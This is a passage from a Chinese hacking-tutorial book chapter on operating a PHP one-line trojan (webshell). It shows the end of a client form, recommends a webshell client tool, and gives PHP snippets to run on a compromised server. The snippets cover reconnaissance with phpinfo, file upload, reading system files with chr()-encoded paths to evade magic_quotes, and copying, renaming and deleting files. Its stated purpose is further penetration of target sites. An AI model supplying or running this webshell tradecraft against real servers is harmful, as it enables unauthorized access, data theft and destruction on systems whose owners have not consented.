onclick="Javascipt:form.textarea.name=form.pass.value;form.action=document.all. url.value;form.submit();" type=button value="提 交" name=send>
</form>
</table>
</html>
代码运行后的结果如图 10-25 所示。
图 10-25 PHP 一句话木马客户端界面
在提交地址处提交我们插入了一句话木马服务端的文件 URL 地址,密码则为登陆密码,而文本输入域则是输入 PHP 代码,比如 PHP 木马等。输入之后,我们点击提交就代码提交进去了插入一句马服务端的文件里了。
虽然我们上面写的那个小东西也能够完成 PHP 一句话木马客户端基本的功能。不过显然不够完善,所以这里给大家推荐“采飞扬 PHP 微型木马客户端”这个工具,如图 10-26所示。
图 10-26 采飞扬 PHP 微型木马客户端
接下来就给大家介绍一些 PHP 木马的关键技术的代码。前面我就说了,在我编写的那个客户端中的输入文本域中可以填写任何 PHP 代码,不仅仅是 PHP 木马,采飞扬 PHP 微型木马客户端中的“发送执行的主代码”也是一样的。所以下面讲解的代码同样可以填入进去执行,就可以得到相应的结果。
我们知道 PHP 木马都提供了对 PHP 的环境变量的获取,其实要实现这个功能非常简单,只需要使用 PHP 内置的 phpinfo()函数即可实现对服务器的 PHP 环境变量的获取了。所以只需要在输入域中填入 phpinfo();语句,点击提交之后就可以完成这个功能了。
我们经常要知道一个文件的目录名,这对我们下一步的渗透提供了很多信息。利用 dirname()函数即可完成这个功能,函数 dirname()的格式为 string dirname ( string path )。这个函数接受的参数为一个文件的全路径,返回的结果为去掉文件名后的目录名。例如:
<?php
$path = "/etc/passwd";
$file = dirname($path); //返回的结果为"/etc"
?>
对于一个木马,是肯定提供了上传功能的。在 PHP 木马中,要上传一个文件,首先要提供了一个上传的输入框,采飞扬 PHP 微型木马客户端已经为我们提供了这个非常好的功能,如图 10-27 所示。不过我们还需要在输入文本框中输入代码, 代码为 echo copy($_FILES[upload][tmp_name],$_FILES[upload][name]);。而且 upload 是图 10-27 中输入框中 name 属性的值,如图 10-28 所示。
图 10-27 上传页面
图 10-28 输入框的 name 属性为 upload
文件操作是一个木马的最基本的功能,在 PHP 下对于文件的操作主要有 fopen()、
fread()、fclose()这三个函数,利用他们就可以完成这些功能了。不过在使用他们的过程中需要在前面使用容错符号@,这样就算发生错误也不会使系统崩溃或其他情况。因为在 magic_quotes_gpc = on 时会对一些字符进行转换,所以在 magic_quotes_gpc = on 时,就必须对参数都要进行转换,这样才能成功完成对文件的操作。采飞扬 PHP 微型木马客户端为我们提供了对字符进行转换的的功能,如图 10-29 所示。
图 10-29 字符转换工具
例如,我们要读取 c:/boot.ini 中的内容,首先将 c:/boot.ini 进行转换,结果为 chr(99).chr(58).chr(47).chr(98).chr(111).chr(111).chr(116).chr(46).chr(105).chr (110).chr(105)。我们来完成对这个文件的读取:
$filename=chr(99).chr(58).chr(47).chr(98).chr(111).chr(111).chr(116).chr(46).ch r(105).chr(110).chr(105);
$fp=@fopen($filename,r);
$contents=@fread($fp, filesize($filename));
@fclose($fp);
对文件的复制也是木马的一个基本功能,在 PHP 中使用 copy()函数即可完成这个功能了。例如把 c:/wwwroot/php/hack.txt 复制到 c:/wwwroot/hack.txt 中去,代码如下所示:
$a="c:/wwwroot/php/hack.txt"; //要复制的源文件
$b="c:/wwwroot/hack.txt"; //复制后的文件路径及文件名 echo @copy($a,$b);
我们还可以对文件进行重新命名,使用 rename()函数就可以完成这个功能了,如将 c:/wwwroot/下的 hack.txt 文件改名为 script.txt,代码如下:
$a="c:/wwwroot/hack.txt"; //要改名的文件
$b="c:/wwwroot/script.txt"; //改名后的文件 echo @rename($a,$b);
当然,删除文件操作也是必须有的,使用 unlink()函数即可完成这个功能,如将
c:/wwwroot/script.txt 文件删除掉,代码如下所示:
$a="c:/wwwroot/script.txt"; //要删除的文件 echo @unlink($a);
不过需要注意的是如果 magic_quotes_gpc = on,那么我们的变量$a 和$b 就需要进行字符转换才能够完成赋值操作。
到这里,我们的 PHP 程序中常见的漏洞就讲完了。虽然不敢说已经对 PHP 程序中出现的各种漏洞都已经将到了。但常见的、大部分漏洞及安全问题都已经提及到了。学习了这些知识并不是说你就可以找出一个系统中的漏洞了,关键是要自己灵活运用,而且黑客技术更新非常快,一定记得天天学习。
声明:本章中的很多优秀的技术和技巧都是来源于互联网,非常的感谢他们,而且版权还是属于他们。
你从本章可以学到如下几点:
1、PHP 系统中注射漏洞分析
2、远程执行命令漏洞的分析与利用
3、上传 webshell 技巧
4、网站漏洞跟踪分析
5、PHP 程序中常见漏洞防护